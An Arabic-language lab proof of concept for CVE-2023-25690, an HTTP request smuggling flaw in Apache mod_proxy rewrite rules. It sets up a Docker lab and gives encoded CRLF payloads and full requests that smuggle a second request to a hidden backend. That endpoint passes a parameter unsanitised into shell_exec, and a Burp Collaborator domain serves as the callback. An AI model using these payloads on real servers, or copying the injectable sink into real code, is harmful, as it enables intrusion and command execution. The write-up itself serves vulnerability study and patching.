
CVE 2023 25690 إثبات المفهوم - التكوين الضعيف لوحدة mod_proxy على خادم Apache HTTP الإصدارات 2.4.0 - 2.4.55 يؤدي إلى ثغرة تهريب طلبات HTTP.
نُشر: 7 مارس 2023
| الدرجة الأساسية | السرية | تأثير التكامل | تأثير التوفر |
|---|---|---|---|
| 9.8 | مرتفع | مرتفع | مرتفع |

تسمح بعض تكوينات mod_proxy في إصدارات Apache HTTP Server 2.4.0 إلى 2.4.55 بـ هجوم تهريب طلبات HTTP. تتأثر التكوينات عندما يتم تمكين mod_proxy إلى جانب شكل من أشكال RewriteRule أو ProxyPassMatch حيث يتطابق نمط غير محدد مع جزء من بيانات طلب-الهدف (URL) المقدمة من المستخدم ثم يتم إعادة إدراجها في طلب-الهدف الذي تم توكيله باستخدام استبدال المتغير. على سبيل المثال، شيء مثل:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
يمكن أن يؤدي تقسيم/تهريب الطلب إلى تجاوز ضوابط الوصول في الخادم الوكيل، وتوكيل عناوين URL غير مقصودة إلى خوادم الأصل الموجودة، وتسميم ذاكرة التخزين المؤقت. يُنصح المستخدمون بالتحديث إلى إصدار 2.4.56 على الأقل من Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
مع تضمين RewriteEngine on في تكوين Apache، يتم تمكين محرك إعادة كتابة عناوين URL. إعادة كتابة عناوين URL هي تقنية تسمح لخوادم الويب بتغيير عناوين URL التي يطلبها متصفح العميل ديناميكيًا إلى عنوان URL مختلف قبل تقديم المحتوى.
على سبيل المثال، لنفترض أن لدينا هيكل URL التالي لمتجر إلكتروني عبر الإنترنت:
https://example-shop.com/categories/1
بافتراض توجيه RewriteRule التالي في ملف تكوين Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
عندما يطلب المستخدم URL https://example-shop.com/categories/1، سيطابق RewriteRule عنوان URL ويلتقط القيمة 1 باستخدام التعبير العادي ^/categories/(.*). ثم تعيد القاعدة كتابة عنوان URL إلى http://example-shop.com:8080/categories?id=1 عن طريق إلحاق القيمة الملتقطة بعنوان URL المعاد كتابته كمعامل استعلام id.
نظرًا لوجود علامة [P] في القاعدة، سيتعامل Apache مع عنوان URL المعاد كتابته كطلب وكيل ويقوم بتوجيهه إلى الخادم الهدف في http://example-shop.com:8080/categories مع تعيين معامل الاستعلام id إلى 1. سيقوم الخادم الهدف بعد ذلك بمعالجة الطلب وإرسال الرد مرة أخرى إلى Apache، الذي سيقوم بتوجيهه إلى العميل.
باختصار، يتم استخدام توجيه RewriteRule مع العلامة [P] لإعادة كتابة عناوين URL وتوكيلها إلى خادم مختلف. في هذه الحالة، تطابق القاعدة عناوين URL التي تبدأ بـ /categories/ وتلحق القيمة الملتقطة كمعامل استعلام id إلى عنوان URL المعاد كتابته. ثم يقوم Apache بتوجيه الطلب إلى الخادم الهدف، الذي يعالج الطلب ويعيد الرد.
أخيرًا، بخصوص ProxyPassReverse /categories/ http://example-shop.com:8080/، هذا السطر ببساطة يستبدل مجال ومسار الخادم الخلفي بمجال ومسار الخادم الوكيل، بحيث يتمكن العميل من متابعة الروابط والوصول إلى المحتوى من الخادم الخلفي المُوكّل بشكل صحيح كما لو كان يقدم مباشرة من الخادم الوكيل.

لمحاكاة الثغرة في Apache، سنستخدم إصدار httpd 2.4.55. بالإضافة إلى ذلك، سيتم إعداد المختبر بأكمله باستخدام Docker لسهولة الإعداد والتكوين وقابلية التكرار.
سيكون هيكل ملفات المختبر كما يلي:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
تم هيكلة تكوين httpd.conf النهائي على النحو التالي:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# تحميل الوحدات الضرورية
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
استخدم الأمر docker-compose.exe up --build لبدء المختبر.
في هذا القسم، سأشرح كيف يمكن لحقن CRLF أن يؤدي إلى تهريب طلب HTTP داخلي، مما يمكن المهاجم من الوصول غير المصرح به إلى الموارد الداخلية التي قد يتعذر الوصول إليها بطريقة أخرى.
بناءً على وصف الإشعار، فإن httpd <=2.4.55 معرضة لتقسيم استجابة HTTP المعروف أيضًا بحقن CRLF.
يحدث حقن CRLF عندما:
والتي في حالتنا يمكن تأكيدها عن طريق تمرير البادئة CRLF التالية في عنوان URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
عن طريق إلحاق البادئة أعلاه بعنوان URL، سيكون الطلب النهائي الناتج كما يلي:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
بعد الطلب، سيقوم الخادم بمعالجة البيانات وإرجاع رمز استجابة 200 يشير إلى قابلية التعرض لحقن CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
يمكن العثور على مزيد من المعلومات حول تقسيم طلب HTTP هنا: https://owasp.org/www-community/attacks/HTTP_Response_Splitting
باستخدام حقن الرأس، سنقوم بتهريب طلب HTTP داخلي.
لنبدأ بالبادئة التالية:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
والطلب التالي:
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
عند تطبيق قاعدة إعادة الكتابة، يتحول الطلب إلى التنسيق التالي:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
حيث يتم فك تشفير عنوان URL المشفر إلى بناء جملة HTTP صالح مما يتسبب في معالجة الواجهة الخلفية للبيانات المفكوكة كطلب ثانٍ.
لنفترض أن تطبيقنا الداخلي لديه الكود السري التالي:
#وظيفة سرية داخلية
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
مع البادئة التالية، نكون قادرين على إرسال الطلب الثاني إلى الوظيفة المخفية:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
واستلام الطلب على Burp Collaborator:

التصحيحات:
تأثير هذه الثغرة هو أنها تسمح للمهاجمين باستهداف والوصول إلى التطبيقات الداخلية التي يُقصد إخفاؤها بواسطة الوكيل العكسي، مما قد يؤدي إلى وصول غير مصرح به، أو تسرب بيانات، أو استغلال إضافي.